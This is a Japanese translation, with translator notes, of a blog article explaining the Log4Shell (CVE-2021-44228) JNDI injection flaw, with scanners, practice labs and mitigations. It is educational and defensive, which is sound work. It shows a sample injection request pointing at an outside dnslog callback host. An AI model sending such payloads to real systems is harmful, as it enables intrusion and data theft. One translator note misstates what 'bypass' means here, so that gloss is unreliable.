More than 1 year has passed since last update.

Java Log4JShellの脆弱性についての調査内容まとめ（翻訳版） by Nairuz Abulhul

Last updated at 2022-03-01Posted at 2022-02-28

訳者前書き

先日発表されたLog4jの脆弱性について調査した中で、Nairuz Abulhul氏の”Java Log4JShell Vulnerability – What I Learned About it This Week”という記事を和訳いたしましたので公開いたします。訳者注といった形で、追加で調べた項目について説明を付け加えています。
こちらの記事は公開が2021年12月23日ということで、情報がやや古い可能性もありますので、ご留意いただければと思います。
Log4jに関する公式情報はこちら。

Java Log4JShellの脆弱性についての調査内容まとめ

先日、世界中の多くのJavaアプリケーションで使われているLog4Jというロギングライブラリの脆弱性が発表されました。本件は「CVE-2021–44228」というインシデント番号で管理されています。

攻撃者は、脆弱性のあるアプリケーションが読み込み・実行したリクエストによって、任意の場所に加工したペイロードを忍び込ませることができます。

TwitterやReddit、Youtubeなどでこの重大な脆弱性が多く取り沙汰されています。今回の記事では、この脆弱性についての実証結果を交えて、私が調査した内容をまとめていきます。この脆弱性の悪用を防ぐ対策についても記述しました。

[訳者注]

インシデント番号：情報セキュリティに関する脆弱性やバグなどについては番号がつけられ、インシデントとして管理されている。参考：CVEとは
ペイロード：一般的には送信するデータ本体のことを指す。またセキュリティ的観点では、ある不正行為に付随して起こる更なる不正行為のことも意味する。ここでは前者の意味を採用した。
Reddit：アメリカのソーシャルニュースサイト。

Log4Shell脆弱性の概要

今回のLog4Shellの脆弱性はJNDIインジェクションの一種です。この脆弱性は新たに発見されたものではなく、2016年のブラックハットトークにてAlvaro Munoz氏とOleksandr Mirosh氏の発表の中で既存事例が報告されています。

バージョン1.x以前のライブラリについては、ログがきちんと文字列形式でカプセル化されるため、外部から読み込むことができません。そのためプログラムの不正実行に関する脆弱性は確認されていません。
今回報告された脆弱性はそれよりもむしろ新しい、バージョン2.0-2.15.0のJNDI lookup機能についてのものです。これらのバージョンではアプリケーションの配置場所に関わらず、どこからでも入力内容が読み込まれて実行されてしまいます。Webアプリケーション、データベース、メールサーバ、ルータ、エンドポイント管理、モバイルアプリケーション、IoTデバイスなど媒体に関わらず、Javaが使用されてさえいれば全てこの脆弱性の対象となります。

Rob Fuller (@mubix) 氏が以下の図で、今回の脆弱性の重大性をわかりやすく紹介しています。
恐ろしいことに、我々が身近に抱えるデバイスの多くが危険に晒されています。携帯電話やスマートウォッチ、食洗機（！）に至るまで、モバイルデバイスとなりうる私の私物は全てチェックしてみましたが、どれもDNSリクエストの応答が返ってきました。😱

JNDI（Java Naming Directory Interface）はJavaアプリケーションを使用するにあたって、オブジェクトと名前を関連付けて検索することができるAPIです。LDAPやRMI、DNS、COBRAといったディレクトリサービスへのサポートを提供しています。

今までに見てきたほとんどのペイロードでDNSリクエストに際してLDAPやDNS、RMIプロトコルを利用していました。

リモートコード実行のためには、攻撃者がLDAPサーバを立てて、脆弱性の高いアプリケーションに接続する必要があります。攻撃者のサーバが悪意のあるデータを送り込むためには、攻撃対象となるアプリケーションがLDAPの外部接続を許可している必要があります。

DNSリクエストの確認だけではリモートコード実行の脆弱性があるか確認するには不十分です。しかし機密データの漏洩によってデバイスが危険に晒される可能性があるため、DNSリクエストの確認は非常に重要です。

[訳者注]

ブラックハットトーク：サイバーセキュリティに関する調査や議論を行う国際的なコミュニティ。公式サイト。
そのためプログラムの不正実行に関する脆弱性は確認されていません：JNDI探索がされないため、今回の脆弱性の対象には含まれません。ただし1.x系についてはすでにサポートが切れているため、いずれにせよ継続使用は一般的に非推奨であるようです。参考：log4j1.x系は大丈夫なの？
lookup機能：ログとして記録された文字列を変数に置き換える機能。
DNSリクエストの応答が返ってきました：攻撃者が攻撃対象に不正な接続を試みるときにDNSなどのプロトコルのレスポンスが返ってくることから、脆弱性があるかどうかをこの方法で確認できる。
LDAPサーバ：ディレクトリサービスという、ネットワーク上のさまざまな情報を一元管理するサービスを提供するサーバのこと。
リモートコード実行：システムの脆弱性をついてプログラムを遠隔から送り込み、別のシステム上で実行させること。

Log4j脆弱性の危険性

この脆弱性が重大である点は以下です。

DNSを通じてデータ流出の危険がある
悪意のあるJavaオブジェクトやLDAPサーバを用いて、リモートコード実行が可能である

パッチバージョンについて

Log4jバージョン2.17が修正版バージョンとしてリリースされています。本稿の執筆中にLog4jバージョン2.15とバージョン2.16についてはバイパスが可能になっています。

[訳者注]

パッチバージョン：バグ修正が行われた時などに公開されるバージョン。
バイパス：システムにおいて不具合の発生した箇所を迂回した処理を走らせることで、正常な動作を行うこと。

今回の脆弱性の攻撃手法について

攻撃者はまずLDAPサーバを立て、攻撃用のペイロードクラスを作成します。そのクラスを「Log4JPayload.class」といった形式のLDAPオブジェクトとして保存しておきます。そしてリクエストパス、HTTPヘッダ、ファイル名、ドキュメントや画像のメタデータなど、ログとして記録されるであろう任意のリクエストに、JNDIインジェクションを紛れ込ませます（インジェクションを紛れ込ませるポイントについては次々項で詳説）。

ペイロードの例

悪意のあるリクエストがログとして記録されると、Log4jライブラリはそのJNDIインジェクションを読み込みます。そして攻撃者が立てたLDAPサーバに接続して攻撃用に用意されたクラスを読み込もうとします。

攻撃の対象となったアプリケーションがそのクラスを実行すると、攻撃者がリモートコード実行可能な状態となります。

インジェクションが行われるポイント

インジェクションが行われるポイントの一つが、以下のようなリクエストパスです。

GET /${jndi:ldap://c6xppah2n.dnslog.cn/d} HTTP/1.1

HTTPヘッダも主要なインジェクションポイントとなり得ます。HTTPヘッダであればどこにでもペイロードを侵入させることができます。

以下に列挙するポイントも全てインジェクションポイントとなりえるため、確認の必要があります。

Musa Şana氏の記事ではインジェクションポイントについて、さらにたくさんの項目がまとめられています。

注意しなければならないのは、攻撃の結果が必ずしも即座に返ってくるわけではないという点です。場合によっては数分から数時間かかることもあります。
私が自分のスマートウォッチについてテストを行った際は、最初の反応を確認するまでに25分を要しました。脆弱性確認のブラックボックステストを行う際は、十分な時間を置いて確認してください。焦りは禁物です⏰！

[訳者注]

ブラックボックステスト：システムの内部構造を無視し、システム仕様に基づいて実行するテストのこと。

確認されているペイロード

ここ数日で、参考となるペイロード例がTwitterで多く出回りました。中にはAkamaiやCloudflare、AWS WAFなど、よく使われているWAFサービスを突破するペイロードも確認されています。

以下に、Twitterで収集したペイロードの一覧を掲載します。Carbonでまとめたものも掲載します。

ペイロードまとめ - Twitterより

[訳者注]

WAFサービス：Webアプリケーション向けのファイアウォールサービスのこと。
Carbon：ソースコードを画像化することができるサービス。

データ漏洩のケーススタディ

アプリケーションがリモートコード実行やLDAPの出接続をブロックされる危険性に晒されていない場合であっても、今回の脆弱性を利用して侵入し攻撃することができます。秘密鍵、トークン、アプリケーションやホスト環境のインフラ設定ファイルなどの機密情報が盗み取られる危険性があります。

盗み取った情報を用いてさまざまな方法を用いて、標的となったアプリケーションに侵入し攻撃することができます。

Carbonより

自動で脆弱性をスキャンする方法

ブラックボックステストの一環として、脆弱性をざっくりと自動スキャンすることができます。以下に挙げたのが代表的なスキャンツールです。

Burp拡張機能 - Log4Shell Scanner
mazen160氏によるLog4J Scanner
Nuclei Template for Log4J id: CVE-2021–44228
Nmap NSE Script — nse-log4shell

DNSログモニターサービス

以下に挙げるサービスを利用して所有するペイロードに対するDNSトークンを作成し、応答を確認する手法で手っ取り早くアプリケーションの脆弱性確認を行うことも可能です。

アプリケーションの脆弱性をテストしよう

脆弱性テストの題材として、脆弱性のある最適なアプリがGitHubや PentesterLabs、TryHackMeにたくさん掲載されています。利用してみましょう。

おすすめはLog4Shellアプリです。ただし攻撃用のLDAPサーバを用意して接続するなど、いくつかセットアップが必要になります。

手早くテストを行いたい場合は、TryHackMe Solar Roomが良いでしょう。

Log4jPwn
Log4Shell
PentestLabs Challenges : Log4J RCE , Log4J RCE II
TryHackMe Solar Room by John Hammond（無料枠）

脆弱性を避ける策

今回の脆弱性に対しては、以下のような対策が有効です。

Log4Jのバージョンを最新のv2.17.0.にする。
設定ファイルに以下を記述し、lookups機能を無効化する。

log4j2.formatMsgNoLookups=true

以下のコマンドで、クラスパスからJndiLookupクラスを削除する。

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

ファイアウォールの設定で、アクセスを一部のホストに制限する。 Mick Douglas氏のツイートではこれについてIMMAモデル（分離する、最小化する、監視する、守りを固める）が紹介されています。（Mick Douglas氏のTwitterアカウント）

今回のまとめは以上です。なかなか大変な状況ですね。Javaのインジェクションや濫用のケースについてたくさん学ぶことができました。
ここまで読んでくださりありがとうございました！

訳者あとがき

今回は昨年末話題になったLog4jの脆弱性について調査していく中で、英語記事の翻訳を行いました。正しい翻訳を追求するためには背景知識や補完知識が要求され、普段通り日本語の記事で情報を得るよりも深く内容を理解できたと思います。このような重大な脆弱性に関してはアップデートが早いため、今後もこまめに情報を追っていきたいと思います。

翻訳元記事：
Java Log4JShell Vulnerability – What I Learned About it This Week

CVE-2021-44228 Detail（公式のインシデント紹介記事）
更新：Apache Log4j の脆弱性対策について(CVE-2021-44228)（IPAの公式サイト）

用語解説：
ゼロデイ（0-day）脆弱性
 ペイロード【payload】
オープンソースのログ管理／Apache log4jとは
 CVEとは
 log4jとは

You get articles that match your needs
You can efficiently read back useful information
You can use dark theme

What you can do with signing up